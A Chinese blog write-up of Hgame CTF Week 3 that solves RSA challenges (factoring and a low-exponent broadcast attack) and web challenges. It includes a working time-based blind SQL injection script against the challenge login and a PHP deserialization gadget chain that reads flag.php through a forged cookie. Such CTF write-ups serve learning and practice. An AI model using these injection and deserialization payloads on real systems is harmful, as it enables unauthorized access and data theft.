Hgame Week3 Writeup

本文最后更新于:2021年10月13日 下午

摘要
Week 3 巨难

Crypto

–LikiPrime

image-20210221162452823

这题应该是最 ez 的了。

首先去[factordb.com](http://factordb.com/index.php)把 n 给分解了,运气比较好这里能成功分解,于是我们便拥有了 p 和 q,然后可以计算 p 这题就解决了。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import libnum
from Crypto.Util.number import long_to_bytes

c = 747831491353896780365654517748216624798517769637260742155527
n = 882564595536224140639625987659416029426239230804614613279163
# n = int("",16)
e = 65537
# e = int("",16)
q = 1029224947942998075080348647219
p = 857504083339712752489993810777

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n) # m 的十进制形式
string = long_to_bytes(m) # m明文
print(string) # 结果为 b‘ m ’ 的形式
#b'hgame{w0w~yOU_kNoW+R5@!}'

–HappyNewYear!!

image-20210221163649635

这题也考的是 RSA,根据描述可知,有消息相同,然后打开文件发现 e=3,e太小了。

在 Google 上逛了半天,了解了不少 RSA 破解算法,锁定了一个叫低加密指数广播攻击的方法,该方法适用于加密指数e比较低,并且使用了相同的加密指数e给若干个接收者发送相同的信息的情况,适用于本题。

但哪几个消息是相同的?总共给了七组数据,他们之间有 128 种组合,所以必须先用脚本得出所有组合。(最开始直接把七组数据进行低加密指数广播攻击的脚本中,发现毫无结果,全是乱码,后来才意识到又的消息应该不一样)

这里要用到 gmpy 库,但只支持 python2,所以我又不得不安装了python2

那么最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#python2.7
import gmpy
import gmpy2
from Crypto.Util.number import long_to_bytes


def boradcast_fuzz(question, e): #广播攻击
N = 1
for i in range(len(question)):
N *= question[i]['n']
N_list = []
for i in range(len(question)):
N_list.append(N / question[i]['n'])
t_list = []
for i in range(len(question)):
t_list.append(int(gmpy2.invert(N_list[i], question[i]['n'])))
sum = 0
for i in range(len(question)):
sum = (sum + question[i]['c'] * t_list[i] * N_list[i]) % N
sum = gmpy.root(sum, e)[0]
# return libnum.n2s(sum)
return long_to_bytes(sum)


def getArraySubSet(originArray): #获得子集
result = [[]]
for i in range(len(originArray)):
for j in range(len(result)):
result.append(result[j] + [originArray[i]])
return result


n0 =
c0 =
n1 =
c1 =
n2 =
c2 =
n3 =
c3 =
n4 =
c4 =
n5 =
c5 =
n6 =
c6 =

originArray = [
{'n': n0, 'c': c0},
{'n': n1, 'c': c1},
{'n': n2, 'c': c2},
{'n': n3, 'c': c3},
{'n': n4, 'c': c4},
{'n': n5, 'c': c5},
{'n': n6, 'c': c6}
]
subset = getArraySubSet(originArray)
print("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")

for arr in subset:
if not arr:
continue
res = boradcast_fuzz(arr, 3)
print res
print("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")

运行得到输出

提取一下有用信息:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
I am afraid the dishes in the second grade are too fragrant, you will not reply my text messages,
so I won’t give you New Year greetings this year, I hope you don’t know how to praise, good night.

hgame{!f+y0u-pl4y_rem

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Hello Liki4:

I am afraid that there are too many blessings on the 30th night, you will not see my greetings,
I am afraid that the firecrackers in the first grade are too noisy, you will not hear my blessings,

@ind3r~YOu^9ot=i7}

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

然后结合一下得到 flag hgame{!f+y0u-pl4y_rem@ind3r~YOu^9ot=i7}

WEB

–Liki-Jail

image-20210221190849038

最开始毫无想法,后来了解了下 sqlmap,然后学习了时间盲注的知识,最后试来试去在密码处发现了 sql 注入漏洞。编写 python ,把密码一位一位爆出来。

考虑到一般密码都是正常的字符,所以 ascii 码值应该都介于 30~130 之间,那么对密码的每一位都使用二分法比较,结合 if 语句,判断为真则 sleep(2),以此确定密码的每一位。

程序如下:(得关VPN)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import time
import requests

url = 'https://jailbreak.liki.link/login.php'
result = ""
for a in range(1, 20):
max = 130
min = 30
while max >= min:
mid = (max + min) // 2
print(mid)
data = {
"username": "admin\\",
"password": "/**/or/**/if(ascii(substr((select/**/group_concat(`p@ssword`)/**/from/**/u5ers)," + str(
a) + ",1))>" + str(mid) + ",sleep(2),0)#"
}
print(data['username'])
print(data['password'])

try:
t1 = time.time()
r = requests.post(url, data=data, verify=False).text
t2 = time.time()
except:
t1 = time.time()
r = requests.post(url, data=data, verify=False).text
t2 = time.time()
if t2 - t1 > 2:
min = mid + 1
else:
max = mid
if max == mid == min:
result += chr(mid)
print(str(a) + ':' + result)
break

最后得到 password :sOme7hiNgseCretw4sHidd3n

image-20210221210054377

最后用 admin 登录即可获得 flag

–Arknights

image-20210221210652738

题目说到用 git 部署到服务器,怀疑存在 .git 文件夹。通过 git_extract 获得到了网站源码。

image-20210221211308077

接下来进行代码审计,从头到尾没有没有敏感函数,但是注意到在 simulate.php 中有一串 secret_key:

image-20210221211617392

同时 extract 函数有一个反序列化操作,说明 Data 可控。

Eval 类可以 echo this->message,CardsPool 类的 toString 函数可以读文件。

所以要做的就是将 Eval 类的 $msg 指向 ClassPool 类,$file 的值赋值为 $file。随后生成序列化后的字符串,再经过 base64 编码,放回到 index.php的 cookie 中,便会获得加密后的 cookie。

构造 test.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class CardsPool
{

public $cards;
private $file="flag.php";
}
class Eeeeeeevallllllll{
public $msg;
}
$a = new Eeeeeeevallllllll();
$a->msg = new CardsPool();
echo serialize($a)."<br>";
echo base64_encode(serialize($a))."<br>";

本地运行得到编码后的序列化对象:

image-20210221220229827

本地运行网站源代码,在 extract 函数 中加一句 echo 用来输出加密后的 cookie:

image-20210221221541815

打开 index.php ,将 cookie 改为之前 test.php 序列化后的字符串,刷新得到加密后的 cookie。

image-20210221221815553

复制 cookie,打开网站,替换cookie,刷新。

image-20210221221937898

啥也没发生,但是查看网页源代码就出现了 flag

image-20210221222040978

参考文章:
参考链接


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!